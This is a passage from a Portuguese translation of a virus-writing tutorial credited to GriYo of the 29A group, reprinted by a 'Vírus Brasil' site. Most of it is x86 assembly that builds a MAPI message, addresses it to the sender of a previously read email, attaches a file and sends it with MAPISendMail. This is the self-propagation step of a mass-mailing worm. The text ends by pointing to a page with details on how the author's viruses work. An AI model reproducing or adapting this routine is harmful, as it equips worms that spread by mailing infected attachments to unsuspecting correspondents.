mensagem anterior cld lea edi,dword ptr [ebp+MapiMessage] xor eax,eax stosd ;ulReserved lea eax,dword ptr [ebp+szSubject] stosd ;lpszSubject lea eax,dword ptr [ebp+szNoteText] stosd ;lpszNoteText xor eax,eax stosd ;lpszMessageType lea eax,dword ptr [ebp+szDate] stosd ;lpszDate xor eax,eax stosd ;lpszConversationID mov eax,00000002h ;MAPI_RECEIPT_REQUESTED stosd ;flFlags lea eax,dword ptr [ebp+MsgFrom] stosd ;lpOriginator mov eax,00000001h stosd ;nRecipCount lea eax,dword ptr [ebp+MsgTo] stosd ;lpRecips mov eax,00000001h stosd ;nFileCount lea eax,dword ptr [ebp+MapiFileDesc] stosd ;lpFiles ; Origem da mensagem xor eax,eax ;ulReserved stosd stosd ;ulRecipClass lea eax,dword ptr [ebp+szNameFrom] stosd ;lpszName lea eax,dword ptr [ebp+szMailFrom] stosd ;lpszAddress xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ; Destino da mensagem stosd ;ulReserved inc eax ;MAPI_TO stosd ;ulRecipClass mov esi,dword ptr [ebp+MessagePtr] add esi,0000001Ch ; Ir para originator lodsd lea esi,dword ptr [eax+00000008h] movsd movsd xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ; Indicamos o arquivo que queremos incluir junto com a mensagem stosd ;ulReserved stosd ;flFlags mov eax,00000000h stosd ;nPosition lea eax,dword ptr [ebp+szFileAttach] stosd ;lpszPathName lea eax,dword ptr [ebp+szFileMsg] stosd ;lpszFileName xor eax,eax stosd ;lpFileType ; E finalmente enviamos a mensagem push 00000000h push 00000000h lea eax,dword ptr [ebp+MapiMessage] push eax push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPISendMail] ; Antes de terminar e necessario liberar a memoria que ; estava reservada por MAPI push dword ptr [ebp+MessagePtr] call dword ptr [ebp+a_MAPIFreeBuffer] ; Somos educados, nos despedimos logoutMAPI32: push 00000000h push 00000000h push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPILogoff] ; Liberamos MAPI32.DLL para terminar freeMAPI32: push dword ptr [ebp+hMAPI32] call FreeLibrary . . . Na minha pagina pessoal voce podera encontrar informacoes detalhadas sobre o funcionamento de cada um destes virus, alem de artigos, tutoriais, noticiais e utilitarios. A URL e: BioTech( http://www.geocities.com/Area51/Corridor/2618 ) Por GriYo / 29A http://www.29a.net/ http://www.geocities.com/Area51/Corridor/2618 griyo@akrata.org -------------------------------------------------- Materia traduzida retirada de Virtualis nº9 http://projetov.hypermart.net/Virtualis/virt.html Email: virtualis@yahoo.com -------------------------------------------------- ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2001, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────